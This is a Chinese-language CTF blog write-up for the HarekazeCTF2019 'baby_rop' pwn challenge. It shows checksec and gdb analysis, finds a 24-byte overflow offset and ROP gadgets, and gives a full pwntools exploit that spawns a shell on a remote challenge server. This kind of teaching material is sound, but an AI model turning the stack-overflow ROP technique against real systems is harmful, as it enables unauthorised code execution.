【HarekazeCTF2019】baby_rop

Thursday, December 29, 2022
本文共961字
2分钟阅读时长
pwn

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/harekazectf2019baby_rop/。商业转载请联系作者获得授权,非商业转载请注明出处!

We respect our elders. There is wisdom that comes from experience, and I am not going to stop learning from wise counsel. — Marcia Fudge

原题链接

checksec 查看程序架构

$ checksec --file babyrop
[*] '/home/peterl/security/workspace/babyrop/babyrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64 位程序,不能使用 shellcode

ida 查看程序伪代码

202209111828592022-09-11-18-29-00

有 scanf,有 printf,看起来可能是普通的栈溢出,我们可以调试看看

此题用不了格式化字符串漏洞,因为我们控制不了 format 字符串,只能控制后面跟的 args,而 printf 只会对 format 字符串作解析

gdb 调试

这题比较坑的是第一条输出语句是system函数输出的,因此我们在 gdb 调试之前就要加一句set follow-fork-mode parent,这条命令将调试追踪固定在父程序上,不让他跑去追踪子程序

我们通过 ida 找到call _printf的地址,使用b* 0x40060F打个断点,这时候如果直接 run 就需要输入了,所以我们先cyclic 50一个规律字符串用以输入

pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama

然后直接r

202209111835432022-09-11-18-35-43

然后我们看到栈情况是这样的:

00:0000│ rsi rsp 0x7fffffffd770 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'
01:0008│         0x7fffffffd778 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'
02:0010│ rbp     0x7fffffffd780 ◂— 'eaaafaaagaaahaaaiaaajaaakaaalaaama'
03:0018│         0x7fffffffd788 ◂— 'gaaahaaaiaaajaaakaaalaaama'
04:0020│         0x7fffffffd790 ◂— 'iaaajaaakaaalaaama'
05:0028│         0x7fffffffd798 ◂— 'kaaalaaama'
06:0030│         0x7fffffffd7a0 ◂— 0x1ff00616d /* 'ma' */

作者此时心中一喜,连按n继续到ret指令,看一看此时rsp栈顶指针指向哪里

202209111838142022-09-11-18-38-14

我们发现 return 值可以被我们栈溢出掉,于是我们可以用cyclic -l gaaa来看一看偏移量是多少:

pwndbg> cyclic -l gaaa
24

同时当前程序 plt 表中肯定有system(前面调用过),我们只需要/bin/sh或者sh就能构建 exp 了!

构建 exp

在 ida 中找到system的地址:

202209111842122022-09-11-18-42-12

ROPgadget寻找/bin/sh

$ ROPgadget --binary babyrop --string "/bin/sh"
Strings information
============================================================
0x0000000000601048 : /bin/sh

ROPgadget寻找pop rdi;retret

$ ROPgadget --binary babyrop --only "pop|ret"
Gadgets information
============================================================
...
0x0000000000400683 : pop rdi ; ret
...
0x0000000000400479 : ret
...

那么我们的 payload 就出来了:

pop_rdi:int = 0x400683
ret: int = 0x400479
sys:int = 0x400490
bin_sh: int = 0x601048
payload = b"aaaabaaacaaadaaaeaaafaaa" + pg(ret) + pg(pop_rdi) + pg(bin_sh) + pg(sys)

完整 exp

from pwn import *
from pwn import p64, p32, u32, u64
import pwnlib
# from LibcSearcher import LibcSearcher

pss: bool = True
fn: str = "./babyrop"
libc_name: str = "/lib/x86_64-linux-gnu/libc.so.6"
port: str = "28069"
if_32: bool = False
if_debug: bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, "b* 0x40060F")
    else:
        p = process(fn, env={"LD_PRELOAD": "/lib/x86_64-linux-gnu/libc.so.6"})

pop_rdi:int = 0x400683
ret: int = 0x400479
sys:int = 0x400490
bin_sh: int = 0x601048
p.recvuntil("What's your name? ")
payload = b"aaaabaaacaaadaaaeaaafaaa" + pg(ret) + pg(pop_rdi) + pg(bin_sh) + pg(sys)
p.sendline(payload)
# p.recvuntil("!\n")
p.interactive()

此题还有一个比较坑的点,它的 flag 并不是放在当前目录下,此题 flag 的位置在/home/babyrop内,可以通过find -name flag查找位置(动作快一点,有时间限制)